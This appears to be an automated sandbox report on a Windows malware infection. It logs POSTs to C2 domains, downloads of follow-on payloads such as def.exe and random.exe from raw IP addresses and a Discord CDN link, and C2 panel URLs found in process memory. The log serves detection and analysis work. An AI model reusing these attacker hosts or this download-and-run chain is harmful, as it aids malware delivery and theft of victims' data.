Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12849Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12849Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00FCBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_00FCBE30

Source: global traffic	HTTP traffic detected: GET /attachments/1286706039475015741/1300800513197211749/Set-up.exe?ex=67222862&is=6720d6e2&hm=d01a7bee1160eeac6493be73ac5a9fb5606137c43133be4b96f4d7c4370940c5& HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 29 Oct 2024 18:26:38 GMTIf-None-Match: "672128de-2b7e00"
Source: global traffic	HTTP traffic detected: GET /files/wintoolsone64.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 29 Oct 2024 18:58:21 GMTIf-None-Match: "6721304d-2cb800"
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: cdn.discordapp.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 19:37:06 GMTContent-Type: application/xml; charset=UTF-8Content-Length: 232Connection: closeCF-Ray: 8da59e479dee2cb6-DFWCF-Cache-Status: HITAccept-Ranges: bytesAge: 181Cache-Control: public, max-age=31536000Content-Disposition: attachmentExpires: Wed, 29 Oct 2025 19:37:06 GMTVary: Accept-Encodingalt-svc: h3=":443"; ma=86400x-guploader-uploadid: AHmUCY1YCVR2KvdEGuPuWV6zVC4-91kGwJZ8gaX68yeylC7Wj-Zr0pfHeGh9BOr3j1Z58IY6Ab0IE6hyZAX-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodpSet-Cookie: __cf_bm=DQSPoeNGgEFoLBnc_ytYXe20hwS7WeFcqtj6Um5RP_Q-1730230626-1.0.1.1-sqs4ecP303mYnbU4NoVp2zAmDUcvoT_v4K3YRPJl2SAdfhZgAfXmQIBp7jKu7EtOhitZCjDZWd4egxvJdX5nDg; path=/; expires=Tue, 29-Oct-24 20:07:06 GMT; domain=.discordapp.com; HttpOnly; SecureReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p9v9VcOzkfX%2BdnYwcGdH9ktbXuUJD0HKAXAwKU7xY30T2E7d2QK%2BagskauaBw%2BMMGEQEQevYjRxmFtB9cZL2JnMMGsqh0YAQ%2Bwa0hv8oq7M5vcNoOzsvGsEYLnktAO0WJCVwZA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Set-Cookie: _cfuvid=I57GdEOftf3UsqmLWZ1GGv4P2aPxXQKdFrCePEW.qnI-1730230626533-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=NoneServer: cloudflare

Source: skotes.exe, 0000000B.00000003.2485927274.00000000019C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 0000000B.00000003.2485927274.00000000019C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/$
Source: axplong.exe, 00000014.00000002.2643417791.000000000150B000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000014.00000002.2643417791.000000000155D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php182
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpKw
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpKw4
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpTemp
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpUsers
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php~
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/fac00b58987e8f8e6b1ca72dd534db057eb410a4903
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe450
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe7
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe:
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeM$
Source: skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeVF
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exea5c
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exef
Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2485927274.00000000019C4000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 0000000B.00000003.2485927274.00000000019C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exendows
Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: skotes.exe, 0000000B.00000003.2485856937.00000000019EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe3
Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee$
Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee0
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeT
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe15e
Source: skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe9YF
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe61
Source: skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeLF
Source: axplong.exe, 00000014.00000002.2643417791.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exec7cf
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exentoolsone64.exe
Source: skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exewF
Source: skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2631479541.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe.jr
Source: skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe002450001
Source: skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe1HPJ
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe450u
Source: skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe61395d7f
Source: skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe6jZ
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe_
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exea5B
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exedph
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php(
Source: skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php2eP
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw)
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKwY
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKwe
Source: skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpd
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 00000006.00000002.2631479541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wintoolsone64.exe
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wintoolsone64.exe&
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wintoolsone64.exe001n
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wintoolsone64.exe?
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wintoolsone64.exeQ
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wintoolsone64.exea
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wintoolsone64.exeded
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://earth.google.com/kml/2.0
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://earth.google.com/kml/2.1
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://earth.google.com/kml/2.2
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://json-schema.org/schema
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000210C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.collada.org/2005/11/COLLADASchema
Source: wintoolsone64.exe, 00000012.00000002.2666308747.0000000002100000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.garmin.com/xmlschemas/TrainingCenterDatabase/v2
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.opengis.net/gml
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.opengis.net/gml/3.2
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.opengis.net/gml/3.3/exr
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.opengis.net/kml/2.2
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.topografix.com/GPX/1/1
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aws.amazon.com
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: axplong.exe, 00000014.00000002.2643417791.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/
Source: axplong.exe, 00000014.00000002.2643417791.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/3
